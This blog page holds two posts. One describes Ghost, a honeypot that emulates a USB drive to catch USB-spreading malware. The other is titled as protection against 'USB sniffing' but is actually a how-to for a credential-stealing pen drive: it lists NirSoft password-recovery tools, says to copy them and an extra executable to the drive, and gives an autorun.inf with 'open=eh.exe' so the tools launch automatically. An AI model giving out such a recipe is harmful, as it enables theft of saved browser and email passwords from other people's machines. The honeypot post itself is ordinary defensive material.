Ghost USB Honeypot - USB Malware VIdeo

Ghost is a honeypot for malware that spreads via USB storage devices. It detects infections with such malware without the need of any further information.The honeypot was first developed for a bachelor thesis at Bonn University in Germany. Now development is continued by the same developer within the Honeynet Project.






Ghost is a honeypot for USB malware. It is capable of capturing malware that propagates via USB storage devices without any further knowledge. This is done by emulating a USB thumb drive and tricking malware into infecting the emulated device. Due to the fact that a machine must be infected in order for the virtual device to detect the malware, the honeypot is designed to run on Windows systems, which are mainly targeted by malware at the moment.


Currently, Ghost only supports Windows XP and is in an early development stage, although its concept has been shown to work well, and the code is stable. If Ghost detects an infection, then it will currently only report that the machine is possibly infected, without including any additional information.

Presentation

Download the latest version from google project.

Read more

by Malik korrich ~ samedi 16 juin 2012 0 commentaires

Protect YourSelf From USB Sniffing

As you are very well aware about your pen drive or USB (Universal serial bus) drive and your are using your pen drive for transferring a data and so on, have you ever think that your usb might catch the passwords from a computer? If no than you should think like that and you should do something to avoid password theft and usb sniffing below is the example that tell you how the miscellaneous user (Hacker) can steal you sensitive data.

 

Well different people are using different browser and different chatting softwares, there is a option in at all is to save your password, when next time you want to login than you don't have to enter password again.

As we know that the windows stores a password including Yahoo,Hotmail or AOL etc, so an attacker can sniff the store password from your computer via USB. The following tool might be used to do this thing.

• MessenPass can only be used to recover the passwords for the current logged-on user on your local computer, and it only works if you chose the remember your password in one of the above programs. You cannot use this utility for grabbing the passwords of other users.

• Mail PassView is a small password-recovery tool that reveals the passwords and other account details for the following email clients:Yahoo Mail, Hotmail, Gmail etc.

• IE PassView is a small password management utility that reveals the passwords stored by Internet Explorer Web browser

• Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer

• PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. 

Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

Click here to download a program and put this on the same folder.

Create a notepad file and write 

[autorun]
open=eh.exe

And save it to autorun.inf

Now the sniffer is ready to use.

Note: If you enjoyed this post, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

Read more

by Malik korrich ~ lundi 10 janvier 2011 0 commentaires